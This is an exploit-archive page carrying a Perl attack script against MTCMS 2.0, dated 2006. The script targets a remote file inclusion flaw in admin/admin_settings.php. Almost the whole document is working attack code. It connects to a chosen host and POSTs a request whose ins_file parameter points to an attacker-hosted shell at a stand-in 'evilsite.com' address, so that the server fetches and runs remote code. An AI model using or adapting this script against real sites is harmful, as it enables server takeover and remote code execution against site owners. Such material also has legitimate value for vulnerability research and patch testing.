[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : MTCMS <= 2.0 (admin/admin_settings.php) Remote File Include Exploit
# Published : 2006-12-25
# Author : nuffsaid
# Previous Title : eNdonesia 8.4 (mod.php/friend.php/admin.php) Multiple Vulnerabilities
# Next Title : Irokez CMS <= 0.7.1 Multiple Remote File Include Vulnerabilities
#!/usr/bin/perl
# +-------------------------------------------------------------------------------------------
# + MTCMS <= 2.0 (admin/admin_settings.php) Remote File Include Exploit
# +-------------------------------------------------------------------------------------------
# + Affected Software .: MTCMS <= 2.0
# + Vendor ............: http://www.mtcms.co.uk/
# + Download ..........: http://mtcms.co.uk/downloads/index.php?file=MTCMS-V2.rar
# + Description .......: "MTCMS is a PHP/MySQL, Content Management System (CMS)."
# + Class .............: Remote File Inclusion
# + Risk ..............: High (Remote File Execution)
# + Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
# + Requirements.......: register_globals = on
# +-------------------------------------------------------------------------------------------
use Getopt::Long;
use URI::Escape;
use IO::Socket;
$remotefile = "http://evilsite.com/shell.php";
main();
sub usage
{
print "nMTCMS <= 2.0 Remote File Include Exploitn";
print "nuffsaid <nuffsaid[at]newbslove.us>n";
print "-h, --hostttarget hostt(example.com)n";
print "-f, --filetremote filet(http://evilsite.com/shell.php)n";
print "-d, --dirtinstall dirt(/mtcms)n";
exit;
}
sub main
{
GetOptions ('h|host=s' => $host,'f|file=s' => $file,'d|dir=s' => $dir);
usage() unless $host;
$remotefile = $file unless !$file;
$url = uri_escape($remotefile);
$sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
or die "nconnect() failed.n";
print "nconnected to ".$host.", sending data.n";
$sendurl = "inst=true&ins_file=".$url."";
$sendlen = length($sendurl);
print $sock "POST ".$dir."/admin/admin_settings.php?b=addons&c=easy_add HTTP/1.1n";
print $sock "Host: ".$host."n";
print $sock "Connection: closen";
print $sock "Content-Type: application/x-www-form-urlencodedn";
print $sock "Content-Length: ".$sendlen."nn";
print $sock $sendurl;
print "attempted to include remote file, server response:nn";
while($recvd = <$sock>)
{
print " ".$recvd."";
}
exit;
}
# www.Syue.com [2006-12-25]